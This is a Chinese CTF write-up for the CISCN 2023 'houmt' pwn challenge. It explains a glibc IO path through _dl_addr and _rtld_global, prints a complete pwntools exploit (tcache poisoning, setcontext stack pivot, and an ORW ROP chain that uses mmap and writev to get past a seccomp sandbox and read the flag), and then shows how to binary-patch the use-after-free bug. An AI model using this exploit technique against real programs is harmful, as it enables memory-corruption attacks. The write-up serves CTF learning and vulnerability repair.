ld_addr + UAF漏洞修复

news2024/11/25 16:51:13

文章目录

    • ciscn 2023中一条新的IO链
    • 例题:
      • 思路:
      • 分析:
      • 利用:
    • 如何修复UAF漏洞

ciscn 2023中一条新的IO链

  1. 如果vtable check不通过,会走_dl_addr,在 _dl_addr中会调用到 在exit_hook中利用的那个函数指针,此时的rdi是 _rtld_local中的 _dl_load_lock的地址。如果能修改这个函数指针,并在其中布置适当的gadget,就能控制程序的执行流,甚至进行栈迁移:

    进入 _ malloc_assert后,当 IO_2_1_stderr 的vtable check不通过时,会调用到_dl_addr函数:

    image-20240909105429685

    image-20240909104458591

    进入 _dl_addr函数后,或调用到rtld_lock_default_lock_recursive函数指针(exit_hook中劫持的那个函数指针之一),并且此时传入的rdi的值是 _rtld_global中 _dl_load_lock字段的地址 ,在 _dl_load_lock中布置好适当的值,在用gadget覆盖这个函数指针,就能完成栈迁移:

    image-20240909104940779

  2. 这条路径只需要修改_rtld_local结构体的值,并且让 _IO_2_1_stderr的vtable check不通过即可,libc上的 _IO_list_all或者stderr等都不用覆盖,覆盖的值都只存在于ld上( _IO_2_1_stderr 的vtable字段可以用tcache取出chunk时next指针自动清0完成,不需要向上写值)

  3. 所以,这条路径适合在禁止修改libc字段时使用:

    _int_malloc --> sysmalloc --> __malloc_assert --> __fxprintf --> __vfxprintf --> locked_vfxprintf -->__vfprintf_internal -->buffered_vfprintf -->IO_validate_vtable -->_IO_vtable_check --> __GI__dl_addr --> gadget(自己写入的指针)
    

例题:

题目地址:[CISCN 2023 华东南]houmt

思路:

  1. 堆地址、libc地址泄漏完成后 --> 任意地址两次修改 _rtld_global 结构体,分别写入到 _dl_load_lock上和rtld_lock_default_lock_recursive字段 --> 任意地址申请chunk到 _IO_2_1_stderr取出时将其vtable清零(使得vtable check不通过) --> 最后栈迁移到堆上。

  2. 这里沙箱的绕过,有点特殊,这里要求read 的fd即文件描述符必须为0write的count即输出个数必须为1,否则都会被ban ,要绕过read可以使用dup2重定向 ,或者使用mmap将打开的文件映射到内存中,绕过write可以使用writev,只不过就是传入的参数有点儿多:

    image-20240909110757393

分析:

  1. add限制了申请堆的size只能为0x110,并且申请到libc地址上的chunk时,会直接退出没有机会输入,且不算入chunk的个数:

    image-20240909112136367

  2. 一次写入的机会,且只能写8个字节,只能用来修改一次next指针:

    image-20240909112302729

  3. show 有一个异或的加密,delete中存在UAF漏洞:

    image-20240909112409727

利用:

  1. 先泄漏堆地址,和libc地址:

    # 泄漏heap地址 和 key
    for i in range(8):
        add(b"aaa")     # 0~7
    
    for i in range(6):
        free(i)         # 0~6
    show(0)
    
    # 解密
    sleep(1)
    p.recv()
    data = p.recv(8)
    addr = (data[4])<<8
    tmp = data[4]
    for i in range(4,0,-1):
        addr += (data[i-1]^tmp)
        addr = addr << 8
        tmp ^=data[i-1]
    tcache_key = addr >> 8
    heap_addr = addr << 4
    success("tcache_key ==>" + hex(tcache_key))
    success("heap_addr ==>" + hex(heap_addr))
    
    # 泄漏libc地址
    free(7)
    free(6)
    show(6)
    
    # 解密
    sleep(1)
    p.recv()
    data = p.recv(8)
    print(data)
    addr = (data[6])<<8
    tmp = data[6]
    for i in range(6,0,-1):
        addr += (data[i-1]^tmp)
        addr = addr << 8
        tmp ^=data[i-1]
    addr = addr >> 8
    libc_base = addr - 0x1E0C00
    
    ld_base = libc_base + 0x1ee000
    success("libc_base ==>" + hex(libc_base))
    #计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr= libc_base + libc.sym["_IO_wfile_jumps"]
    IO_2_1_stderr_addr= libc_base + libc.sym["_IO_2_1_stderr_"]
    
    rtld_global_addr   = ld_base + ld.sym["_rtld_global"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80
    
    success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"+ hex(IO_wfile_jumps_addr))
    success("rtld_global_addr==>"   + hex(rtld_global_addr))
    success("IO_2_1_stderr_addr==>"+ hex(IO_2_1_stderr_addr))
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr= libc.sym['write']+libc_base
    mmap_addr = libc.sym['mmap'] +libc_base
    writev_addr = libc_base + libc.sym['writev']
    
    pop_rdi_ret=libc_base + 0x0000000000028a55
    pop_rdx_ret=libc_base + 0x00000000000c7f32
    pop_rax_ret=libc_base + 0x0000000000044c70
    pop_rsi_ret=libc_base + 0x000000000002a4cf
    pop_rcx_rbx_ret = libc_base + 0x00000000000fc104
    pop_r8_ret = libc_base + 0x148686
    ret= libc_base + 0x000000000002a4cf+1
    

    image-20240909112550066

  2. 申请到tcache_perthread_struct上的chunk,修改entry中的头指针,并伪造好size字段(便于后续free add进行多次任意地址写),因为free进入tcache时,会根据其size字段的值将地址放入对听的entry头中。

    # 任意地址申请chunk 修改_rtdl_global结构体 
    dl_load_lock_addr = rtld_global_addr + 0x980
    dl_rtld_lock_recursive_addr = rtld_global_addr + 0xf90
    success("dl_load_lock_addr          ==>"   + hex(dl_load_lock_addr))
    success("dl_rtld_lock_recursive_addr==>"   + hex(dl_rtld_lock_recursive_addr))
    
    gadget = libc_base + 0x000000000014a0a0
    success("gadget          ==>"   + hex(gadget))
    # debug()
    # 申请到 tcache_perthread_struct
    payload = fd_glibc64(tcache_key,heap_addr + 0xf0)
    edit(7,payload)     # 修改 next指针 指向tcache
    
    add(b"aaa")     #8
    add(p64(0) + p64(0x110) + p64(0) + p64(heap_addr + 0x100))     #9 伪造好size字段和chunk 0x110的指针
    

    伪造好size后0x0000559aa9f90100地址上的chunk就能释放进入tcache中了,从而进行多次任意地址申请chunk:

    image-20240909113015266

  3. 第一次写入往dl_rtld_lock_recursive_addr中写入gadget,dl_rtld_lock_recursive_addr地址写入entry头中,然后申请出来:

    # 第一次写入
    add(p64(0) + p64(dl_rtld_lock_recursive_addr))     #10 申请到包含tcache_perthread_struct的chunk
    add(p64(gadget))   #11 往dl_rtld_lock_recursive_addr中填入gadget
    print(hex(dl_rtld_lock_recursive_addr))
    

    image-20240909113302161

    修改后:

    image-20240909113333256

  4. 第二次写入,往dl_load_lock_addr中写入要 rdx 和setcontext。完成rdi到rdx的转移:

    # 第二次写入 完成 rdi --> rdx 转换 和 setcontext的栈迁移
    free(10)
    debug()
    add(p64(0) + p64(dl_load_lock_addr))     #12 申请到包含tcache_perthread_struct的chunk
    
    payload = p64(0)*2 + p64(dl_load_lock_addr + 8) + p64(0)*2 + p64(setcontext_addr)
    payload = payload.ljust(0xa0+8,b"\x00")
    payload += p64(heap_addr + 0x900) + p64(ret)
    add(payload)    #13 向dl_load_lock_addr中写入一个堆地址,后续用来转换rdi --> rdx
    

    这里chunk10又被放入tcache中,再申请出来后就能再次控制tcahce的entry头指针了

    image-20240909113653088

    dl_load_lock_addr字段的地址写入到tcache :

    image-20240909113818618

    写入的字段如下,tcache会检查堆按0x10对齐,所以要从0x10对齐的位置申请chunk:

    image-20240909114237723

    image-20240909114255763

  5. 最后和上面一样的操作申请到IO_2_1_stderr_的vtable字段,然后取出即可将vtable清零:

    free(10)
    add(p64(0) + p64(IO_2_1_stderr_addr + 0xd0))     #14 申请到包含tcache_perthread_struct的chunk
    p.sendlineafter(b'>','1')   # 将IO_2_1_stderr_取出,但是不计入个数 修改 IO_2_1_stderr_ 的vtable 指针 使之不能通过check检测
    

    image-20240909114519357

  6. 最后,修改top_chunk的size值,使之能触发__malloc_assert,然后往堆上写入ORW即可(在dl_load_lock_addr字段上写入地址的那个堆):

    # 修改top_chunk 的size
    free(10)
    top_chunk = heap_addr + 0xB10
    add(p64(0)+ p64(top_chunk))   #15
    add(p64(0) + p64(0x10)) #16 修改top_chunk的size值
    
    # ORW
    syscall = read_addr+16
    flag = heap_addr+0x9D0
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)
    
    # # read(3,heap+0x1010,0x30) 
    # orw+=p64(pop_rdi_ret)+p64(3)
    # orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
    # orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    # orw+=p64(read_addr)     
    
    orw += p64(pop_rdi_ret) + p64(heap_addr&0xffffffffffff0000)     # 映射的地址按0x10000对齐
    orw += p64(pop_rsi_ret) + p64(0x1000)
    orw += p64(pop_rdx_ret) + p64(1)
    orw += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
    orw += p64(pop_r8_ret) + p64(3)
    orw += p64(libc_base + libc.sym['mmap'])
    
    # # write(1,heap+0x1010,0x30)
    # orw+=p64(pop_rdi_ret)+p64(1)
    # orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
    # orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    # orw+=p64(write_addr)
    # orw+=b"./flag\x00"
    
    orw += p64(pop_rdi_ret) + p64(1)
    orw += p64(pop_rsi_ret) + p64(flag+8)
    orw += p64(pop_rdx_ret) + p64(1)                # 表示一个内存区域
    orw += p64(libc_base + libc.sym['writev'])
    orw += b"./flag\x00\x00" + p64(heap_addr&0xffffffffffff0000) + p64(0x30)    #映射的地址 和 输出长度
    
    add(orw)     #17 unsorted bin
    p.sendlineafter(b'>','1')     #18 触发
    
    p.interactive()
    

    调试看一下这两个系统调用mmap和writev如何使用:

    这里完成 rdi --> rdx 的转换,并顺利衔接到 setcontext + 61:

    image-20240909115143292

    setcontext + 61完成栈迁移到堆上:

    image-20240909115424260

    image-20240909115532460

    mmap函数系统调用的参数如下:

    • addr ==> 映射的目的地址
    • len ==> 映射的长度
    • port ==> 映射区域的保护方式 , 允许读取映射区域
    • flags ==> 控制映射区域的特性
    • fd ==> 映射文件的文件描述符
    • offset ==> 上面文件中开始映射的偏移量

    这里经过实验,addr的参数必须按照0x10000对齐,否则无法完成映射。这里的len可以不用对齐,offset 必须对齐为0,port必须改为1(可读)。

    image-20240909115622014

    image-20240909121305952

    writev函数系统调用的参数如下:

    • fd ==> 要写入文件的文件描述符
    • iovec ==> 指向一个结构体数组,每一个元素 描述一段内存空间 地址 + 大小
    • count ==> 内存空间的数量,即iovec结构体数组中的元素数量

    这里的iovec指针,即rsi寄存器的值,要指向一个地址,该地址被解释为iovec结构体数组,每个结构体里面存储一段内存空间的起始地址 和 其长度 。即为mmap映射的内存其实地址 和 要输出的长度。fd为1 表示为标准输出stdout

    image-20240909121552160image-20240909121641340

    如果将iovec结构体数组的成员变成两个都是mmap映射的内存空间,count改为2,则会输出flag两遍:

    image-20240909122358242

    image-20240909122506257

    image-20240909122622893

  7. 完整的EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        gdb.attach(p)
    
    # p = remote("node4.anna.nssctf.cn",28566)
    p = process("./pwn")
    libc = ELF('libc.so.6')
    ld = ELF("ld.so")
    # libc = ELF('/home/kali/Desktop/source_code/glibc-2.32_lib/lib/libc-2.32.so')
    # elf = ELF("./pwn")
    
    def add(content):
        p.sendlineafter(b'>','1')
        p.sendlineafter(b':',content)
    
    def edit(index,content):
        p.sendlineafter(b'>','2')
        p.sendlineafter(b':',str(index).encode())
        p.sendafter(b':',content)
    
    def show(index):
        p.sendlineafter(b'>',b'4')
        p.sendlineafter(b':',str(index).encode())
    
    def free(index):
        p.sendlineafter(b'>','3')
        p.sendlineafter(b':',str(index).encode())
    
    def fd_glibc64(tcache_base,target_addr):
        success("fake_addr==>"+hex(target_addr))
        payload = p64(tcache_base^(target_addr))
        return payload
    
    
    # 泄漏heap地址 和 key
    for i in range(8):
        add(b"aaa")     # 0~7
    
    for i in range(6):
        free(i)         # 0~6
    show(0)
    
    # 解密
    sleep(1)
    p.recv()
    data = p.recv(8)
    addr = (data[4])<<8
    tmp = data[4]
    for i in range(4,0,-1):
        addr += (data[i-1]^tmp)
        addr = addr << 8
        tmp ^=data[i-1]
    tcache_key = addr >> 8
    heap_addr = addr << 4
    success("tcache_key ==>" + hex(tcache_key))
    success("heap_addr ==>" + hex(heap_addr))
    
    # 泄漏libc地址
    free(7)
    free(6)
    show(6)
    
    # 解密
    sleep(1)
    p.recv()
    data = p.recv(8)
    print(data)
    addr = (data[6])<<8
    tmp = data[6]
    for i in range(6,0,-1):
        addr += (data[i-1]^tmp)
        addr = addr << 8
        tmp ^=data[i-1]
    addr = addr >> 8
    libc_base = addr - 0x1E0C00
    
    ld_base = libc_base + 0x1ee000
    success("libc_base ==>" + hex(libc_base))
    #计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr= libc_base + libc.sym["_IO_wfile_jumps"]
    IO_2_1_stderr_addr= libc_base + libc.sym["_IO_2_1_stderr_"]
    
    rtld_global_addr   = ld_base + ld.sym["_rtld_global"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80
    
    success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"+ hex(IO_wfile_jumps_addr))
    success("rtld_global_addr==>"   + hex(rtld_global_addr))
    success("IO_2_1_stderr_addr==>"+ hex(IO_2_1_stderr_addr))
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr= libc.sym['write']+libc_base
    mmap_addr = libc.sym['mmap'] +libc_base
    writev_addr = libc_base + libc.sym['writev']
    
    pop_rdi_ret=libc_base + 0x0000000000028a55
    pop_rdx_ret=libc_base + 0x00000000000c7f32
    pop_rax_ret=libc_base + 0x0000000000044c70
    pop_rsi_ret=libc_base + 0x000000000002a4cf
    pop_rcx_rbx_ret = libc_base + 0x00000000000fc104
    pop_r8_ret = libc_base + 0x148686
    ret= libc_base + 0x000000000002a4cf+1
    
    # 任意地址申请chunk 修改_rtdl_global结构体 
    dl_load_lock_addr = rtld_global_addr + 0x980
    dl_rtld_lock_recursive_addr = rtld_global_addr + 0xf90
    success("dl_load_lock_addr          ==>"   + hex(dl_load_lock_addr))
    success("dl_rtld_lock_recursive_addr==>"   + hex(dl_rtld_lock_recursive_addr))
    
    gadget = libc_base + 0x000000000014a0a0
    
    success("gadget          ==>"   + hex(gadget))
    debug()
    pause()
    # 申请到 tcache_perthread_struct
    payload = fd_glibc64(tcache_key,heap_addr + 0xf0)
    edit(7,payload)     # 修改 next指针 指向tcache
    add(b"aaa")     #8
    add(p64(0) + p64(0x110) + p64(0) + p64(heap_addr + 0x100))     #9 伪造好size字段和chunk 0x110的指针
    
    
    # 第一次写入
    add(p64(0) + p64(dl_rtld_lock_recursive_addr))     #10 申请到包含tcache_perthread_struct的chunk
    add(p64(gadget))   #11 往dl_rtld_lock_recursive_addr中填入gadget
    
    
    # 第二次写入 完成 rdi --> rdx 转换 和 setcontext的栈迁移
    free(10)
    
    add(p64(0) + p64(dl_load_lock_addr))     #12 申请到包含tcache_perthread_struct的chunk
    
    payload = p64(0)*2 + p64(dl_load_lock_addr + 8) + p64(0)*2 + p64(setcontext_addr)
    payload = payload.ljust(0xa0+8,b"\x00")
    payload += p64(heap_addr + 0x900) + p64(ret)  # setcontex + 61完成栈迁移
    add(payload)    #13 向dl_load_lock_addr中写入一个堆地址,后续用来转换rdi --> rdx
    print(hex(dl_load_lock_addr))
    
    free(10)
    add(p64(0) + p64(IO_2_1_stderr_addr + 0xd0))     #14 申请到包含tcache_perthread_struct的chunk
    p.sendlineafter(b'>','1')   # 将IO_2_1_stderr_取出,但是不计入个数 修改 IO_2_1_stderr_ 的vtable 指针 使之不能通过check检测
    
    # 修改top_chunk 的size
    free(10)
    top_chunk = heap_addr + 0xB10
    add(p64(0)+ p64(top_chunk))   #15
    add(p64(0) + p64(0x10)) #16
    
    # ORW
    syscall = read_addr+16
    flag = heap_addr+0x9D0
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)
    
    # # read(3,heap+0x1010,0x30) 
    # orw+=p64(pop_rdi_ret)+p64(3)
    # orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
    # orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    # orw+=p64(read_addr)     
    
    
    orw += p64(pop_rdi_ret) + p64(heap_addr&0xffffffffffff0000)     # 映射的地址按0x10000对齐
    orw += p64(pop_rsi_ret) + p64(0x1000)
    orw += p64(pop_rdx_ret) + p64(1)
    orw += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
    orw += p64(pop_r8_ret) + p64(3)                 # 映射文件的文件描述符
    orw += p64(libc_base + libc.sym['mmap'])
    
    # # write(1,heap+0x1010,0x30)
    # orw+=p64(pop_rdi_ret)+p64(1)
    # orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)     # 从地址 读出flag
    # orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    # orw+=p64(write_addr)
    # orw+=b"./flag\x00"
    
    orw += p64(pop_rdi_ret) + p64(1)
    orw += p64(pop_rsi_ret) + p64(flag+8)
    orw += p64(pop_rdx_ret) + p64(1)                # 表示一个内存区域
    orw += p64(libc_base + libc.sym['writev'])
    orw += b"./flag\x00\x00" + p64(heap_addr&0xffffffffffff0000) + p64(0x30)    #映射的地址 和 输出长度
    
    add(orw)     #17 unsorted bin
    p.sendlineafter(b'>','1')     #18 触发
    p.interactive()
    

image-20240908215246684

如何修复UAF漏洞

  1. UAF是如何造成的,一般都是指针被释放后(所指向的空被释放),没有将该指针清空,导致指针仍然指向被释放的区域 ,使得该指针指向的空间任然能被使用(读、写) 。所以我们要做的就是在指针释放后将其清0即可:

    image-20240910095739170

  2. 如何清0:是否可以直接在二进制文件的free函数后直接插入给指针清0的硬件编码,找一个没有UAF漏洞的程序,看看清0的汇编代码对应的硬件编码是什么:

    image-20240910101032011

    可见,如果要清零,我们要插入的硬件编码应该对应下面三条指令:

    先插入这两条lea 找到地址 和偏移量

    image-20240910101216791

    在插入上面拿三句话的最后一条 mov qword ptr [rdx+rax], 0 ,即可完成清零操作。

  3. 但是,这样直接插入后或许真的能修复UAF的漏洞,但是程序就被破坏了,因为我们插入的指令,导致了call 函数 ,这类指令失效,因为该指令的位置和函数之间的偏移发生了变化 会导致原本的call 指令找不到对应的函数。如果要修复,还需要将后续所有的call 指令再一 一调整,工程量巨大,并且其他依赖偏移找地址的指令也会直接失效 (例如lea rax,heaplist)。

    这里我们看一下将硬件编码直接插入在call free函数后面的情况,这里可以看到,直接插入后由于改变了文件的结构(主要是偏移),导致很多原本正常的指令直接失效,free函数都没识别出来:

    image-20240910102545478

  4. 另一种修复UAF漏洞的方法:该方法的思想基于hook,就是在调用free函数之前,先call 函数到我们指定的函数位置,该函数的功能是 将指针清零,然后使用jmp 指令再继续调用free函数,最后free函数,也会返回原本的位置(call 指令将返回地址入栈,但是jmp指令不会)。不会影响程序原本被的执行流。

    因为上面我们已经了解到不能直接在文件中插入硬件编码,所以利用hook我们只能利用文件中本来有的函数,并且该函数在程序执行时不会被调用到(保证改完后不影响程序的正常执行)。

    这里,因为用的是类似于hook的思想,所以插入的指令和前面不同,这里看一下正常的free函数调用过程,只有一个参数即rdi,其他的寄存器例如rdx、rax等参数改变对其调用没有影响,基于此,我们就可以省下前面的拿两条 lea指令 直接,使用rdx 和 rax的参数来定位指针所在的位置 ,然后直接用mov qword ptr [rdx+rax], 0 将其清0 即可,另外,还要添加一个jmp 指令到 free 函数 ,所以一共插入的硬件编码共 8 + 5 = 13 个字节,所以找的函数的硬件编码个数必须得在13个字节以上才行:

    image-20240910103113921

    这里找到一个函数 _term_proc,按下x键之后发现没有任何位置引用该函数,并且该函数的字节码刚好是13个,完美符合条件:

    image-20240910103850259

  5. 开始patching,首先改掉原来的call free指令,使之跳转向_term_proc函数,因为 _term_proc函数在call free指令的后面,所以直接用 _term_proc函数地址 - call free指令结束后的位置

    image-20240910104327617

    改后:

    image-20240910104950800

    另外由于后面要使用到lea rax, qword_4080 ,这条指令后rax的值,所以后面的mov rax 这条指令也要patching掉,不让其修改rax 的值,直接给rdi赋值即可,后面mov rdi ,rax 直接把rdi改为其他寄存器即可:

    image-20240910111225894

    第二不,修改_term_proc函数,第一条插入mov qword ptr [rdx+rax], 0 (8个),第二条插入 jmp free (5个):

    image-20240910105300851

    改后,这里由于free函数的plt表在改指令的前面,所以用 free 函数的plt表地址 - 该指令结束后的地址

    image-20240910105822551

  6. 修改完成,apply一下,调试看看是否patch成功:

    image-20240910111615153

    进入前rax为qword_4080基地址,:

    image-20240910111709497

    进入 _term_proc函数,将指针清0,然后衔接到free函数:

    image-20240910111751023

    顺利被清空:

    image-20240910111904076

  7. 至此patch完成!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2123577.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LCD彩条显示——FPGA学习笔记10

部分素材来自原子哥 一、LCD简介 基本原理&#xff1a;在两块平行玻璃板中填充液晶材料&#xff0c;通过电场控制液晶分子旋转从而达到透光和遮光的目的。 LCD屏幕重要参数&#xff1a;分辨率、像素格式、驱动时序 分辨率&#xff1a; 像素格式&#xff1a; RGB&#xff1a;…

C++第四节课 - 内联函数 + 初认类

一、auto关键字 C中可以使用typeid打印变量的类型 #include<iostream> using namespace std;int main() {int a 0;int b a;auto c a;auto d 1 1.11;cout << typeid(c).name() << endl;cout << typeid(d).name() << endl;return 0; } 但是上…

ActiveMQ 的网络连接及消息回流机制

1、ActiveMQ 的网络连接 activeMQ 如果要实现扩展性和高可用性的要求的话&#xff0c;就需要用用到网络连接模式。 NetworkConnector&#xff1a;主要用来配置 broker 与 broker 之间的通信连接 如上图所示&#xff0c;MQ 服务器1 和MQ 服务器2 通过 NewworkConnector 相连&…

PhotoZoom 9安装包下载-图片无损放大编辑PhotoZoom 9 Pro软件安装

PhotoZoom 9 Pro是一款专业的图像放大软件&#xff0c;旨在提供高质量的图像放大和改进功能。适用于摄影师、设计师、印刷专业人员以及任何需要将图像放大到更大尺寸并保持高质量的用户。它使用先进的放大算法&#xff0c;能够有效地处理不同类型的图像&#xff0c;并在保持细节…

使用切换 JDK 的方式优化部署微服务占用内存过高的问题

使用切换 JDK 的方式优化部署微服务占用内存过高的问题 一、前言二、下载 J9 虚拟机的JDK三、切换 JDK1、上传到服务器2、解压3、修改 JDK 路径4、解决 JDK 没有切换成功的问题 一、前言 前段时间在服务器部署了微服务项目&#xff0c;但即使限制了每个服务的堆&#xff0c;内…

苹果首款AI手机发布!iPhone 16全新AI功能体验感拉满

苹果于2024年秋季盛大发布iPhone 16系列&#xff0c;带来前所未有的AI智能体验。iPhone 16系列不仅硬件全面升级&#xff0c;更融入了尖端的AI技术&#xff0c;为用户带来更加智能化的生活体验。 在科技春晚的舞台上&#xff0c;苹果不负众望地揭开了iPhone 16系列的神秘面纱。…

【贪心算法】(一)贪心算法理论及基础习题

【贪心算法】贪心算法理论及基础习题&#xff08;一&#xff09; 理论基础简单例题分发饼干K次取反后最大化的数组和柠檬水找零买卖股票的最佳时机 Ⅱ单调递增的数字摆动序列 两个纬度权衡问题分发糖果根据身高重建队列 理论基础 什么是贪心&#xff1a; 贪心的本质是选择每一…

[N-152]基于java贪吃蛇游戏5

开发工具eclipse,jdk1.8 文档截图&#xff1a; N-152基于java贪吃蛇游戏5

通过Python调用Excel VBA宏:扩展自动化能力的深度探索

目录 1. 引言 1.1 自动化办公的重要性 1.2 Python与Excel VBA的结合优势 2. Python调用Excel VBA宏的基本原理 2.1 Excel VBA宏的基本概念 2.2 Python调用VBA宏的方法 3. 安装与准备 3.1 安装pywin32库 3.2 配置Excel以允许宏运行 4. Python调用VBA宏的实例 4.1 导出…

基于单片机的室内装修环境检测系统设计

基于单片机的室内装修环境检测系统&#xff0c;该系统可实现苯、甲醛、氨气等有害气体的浓度检测和超标报警。该系统以STC89C52RC单片机为核心&#xff0c;由传感器检测室内装修环境中苯、甲醛、氨气的浓度以及温湿度&#xff0c;将以上测量出来的数据传送到PCF8591转换器&…

Java+vue的医药进出口交易系统(源码+数据库+文档)

外贸系统|医药进出口交易系统 目录 基于Javavue的服装定制系统 一、前言 二、系统设计 三、系统功能设计 仓储部门功能模块 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设…

15.2 JDBC数据库编程2

15.2.1 数据库访问步骤 使用JDBC API连接和访问数据库&#xff0c;一般分为以下5个步骤: (1) 加载驱动程序 (2) 建立连接对象 (3) 创建语句对象 (4) 获得SQL语句的执行结果 (5) 关闭建立的对象&#xff0c;释放资源 下面将详细描述这些步骤 15.2.2 加载驱动程序 要使…

开发中的网络问题逻辑推理分析

基于TCP/IP的逻辑推理&#xff0c;大部分软件从业人员都不是很懂&#xff0c;导致很多问题都被误认为诡异问题。有些人是惧怕TCP/IP网络书籍中的复杂知识内容&#xff0c;有的是被wireshark[1]显示的深红色内容所干扰。 经典案例1&#xff1a; 例如有一个DBA遇到了性能问题&a…

基于SpringBoot+Vue+MySQL的流浪猫狗宠物救助救援网站管理系统

系统展示 用户前台界面 管理员后台界面 系统背景 在当今社会&#xff0c;随着宠物数量的激增及人们关爱动物意识的提升&#xff0c;流浪猫狗问题日益严峻。为解决这一问题&#xff0c;构建一套高效、便捷的流浪猫狗宠物救助救援网站管理系统显得尤为重要。本系统基于SpringBoot…

在VB.net中,TimeSpan有什么属性与方法

标题 在VB.net中&#xff0c;TimeSpan有什么属性与方法 正文 在 VB.NET 中&#xff0c;TimeSpan 结构表示时间间隔&#xff0c;即一段时间&#xff0c;而不表示特定的时间点。TimeSpan 提供了多种属性来获取时间间隔的各个组成部分&#xff0c;以及一些方法来操作这些时间间隔。…

Linux下载新版火狐浏览器,替换默认火狐浏览器,保留桌面任务栏图标快捷方式

Linux下载新版火狐浏览器&#xff0c;替换默认火狐浏览器&#xff0c;保留桌面任务栏图标快捷方式 方式一 替换默认程序入口 下载官方浏览器 火狐浏览器下载地址【官网】 &#xff08;搞清楚你的Linux系统是32位还是64位&#xff09; 解压下载的程序包&#xff0c;建议放到/o…

Leetcode面试经典150题-74.搜索二维矩阵

解法都在代码里&#xff0c;不懂就留言或者私信 二分查找&#xff0c;比较简单 class Solution {/**解题思路&#xff1a;每一行有序、每一列也有序&#xff0c;只是整体不是严格有序的&#xff0c;那我们需要找一个点&#xff0c;只能往两个方向走&#xff0c;往一个方向走是…

【docker】命令之镜像操作

一、前言 之前讲解了docker的安装&#xff0c;这里呢接着上面的内容来介绍docker中的相关命令的操作。这里我们更具一个案例就是启动一个nginx&#xff08;是一个在我们应用市场存在的一个软件包&#xff09;,并尝试对其进行修改&#xff0c;然后发布出去&#xff0c;让别人都能…

Guitar Pro 8.2中文解锁版下载及2024最新图文安装教程

Guitar Pro 8.2中文解锁版是一款深受广大音乐人和音乐爱好者喜爱的吉他打谱软件&#xff0c;帮助所有吉他爱好者学习、绘谱、创作&#xff0c;使用非常简单只需直接在五线谱或六线谱上编辑&#xff0c;即可轻松谱写自己的乐章。 Guitar Pro 8.2中文解锁版基本简介 Guitar Pro 8…

【python】python 安装和 pycharm 安装

1 python 安装 1.1 下载 下载地址&#xff1a;python 官网 1.2 安装 windows 安装为例。 双击.exe文件打开 安装界面 安装完成 1.3 检查安装是否成功 win/start 键r 键 运行窗口输入 cmd 回车 3 输入 python查看 显示版本信息&#xff0c;表示已经安装成功。 …